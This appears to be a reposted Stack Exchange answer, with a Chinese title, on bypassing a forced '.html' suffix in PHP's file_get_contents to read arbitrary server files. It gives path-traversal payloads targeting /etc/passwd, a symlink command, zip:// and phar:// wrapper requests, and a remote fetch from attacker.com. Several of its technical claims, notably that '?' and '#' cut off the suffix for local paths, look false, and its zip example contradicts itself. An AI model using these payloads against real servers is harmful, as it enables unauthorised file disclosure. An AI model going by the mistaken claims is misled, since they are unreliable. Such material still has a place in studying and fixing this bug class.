利用file_get_contents():能否突破脚本限制读取任意服务器文件?
Let’s dive into your question: given the code <?php echo file_get_contents($_GET['display'].'.html'); ?>, with PHP ≥7.0 (null byte truncation fixed), allow_url_fopen enabled, and default config, can we read non-.html files? The short answer is yes, in several scenarios—here are all feasible attack vectors:
Bypass the
.htmlsuffix with URL query/fragment markers
PHP’sfile_get_contents()treats?and#as URL query/fragment separators even for local files, ignoring everything after them. This lets us "neutralize" the forced.htmlsuffix effortlessly:- Use
?to split the path:
Request?display=../../etc/passwd?→ the final path becomes../../etc/passwd?.html. The.htmlis treated as a query parameter and ignored, so the code reads../../etc/passwd. - Use
#(URL-encoded as%23since browsers don’t send raw#):
Request?display=../../etc/passwd%23→ the final path is../../etc/passwd#.html. The.htmlis treated as a fragment and ignored, so the code reads the target file directly.
- Use
Long path truncation (OS-dependent)
On filesystems with strict filename length limits (e.g., Windows’ 255-character limit for legacy APIs, Linux’s 255-byte limit), we can construct an overly long path where the.htmlsuffix gets automatically truncated. For example:?display=../../etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWhen appended with
.html, the total length exceeds the filesystem’s limit, so the trailing.htmlis cut off, leaving the original target path intact. This is highly dependent on the OS and filesystem configuration, so it’s not a universal solution.Symbolic/hard link manipulation (requires write access)
If you have permission to create files on the server (e.g., via an upload feature), you can link a.htmlfile to your target non-.html file:- Create a symbolic link:
ln -s /etc/passwd malicious.html - Request
?display=malicious→ the code readsmalicious.html, which resolves to/etc/passwd. - Hard links work similarly but require the target file to be on the same filesystem as the link.
- Create a symbolic link:
PHP stream wrappers (limited use cases)
While wrappers likephp://filterdon’t directly ignore the.htmlsuffix, you can combine them with controlled archives to target non-.html files indirectly:- For example, upload a zip file containing a file named
secret.htmlthat actually holds the content of/etc/passwd, then use?display=zip://your_uploaded.zip#secret→ the code readszip://your_uploaded.zip#secret.html, which points to your controlled file. phar://works identically tozip://here, as it uses the same archive structure.
- For example, upload a zip file containing a file named
Remote file retrieval (not local files, but worth noting)
Sinceallow_url_fopenis enabled, you can use wrappers likehttp://orftp://to read remote.htmlfiles. For example:?display=http://attacker.com/malicious→ readshttp://attacker.com/malicious.html. This doesn’t target local non-.html files, but it’s a related vector enabled by the current config.
Key Takeaways
- The most reliable cross-platform vectors are the query/fragment marker bypasses—they work on all PHP ≥7.0 setups without OS-specific quirks or extra permissions.
- Symbolic/hard link attacks require prior write access to the server, which is often not available in unauthenticated scenarios.
- Long path truncation is inconsistent and depends heavily on the underlying system.
内容的提问来源于stack exchange,提问作者terjanq

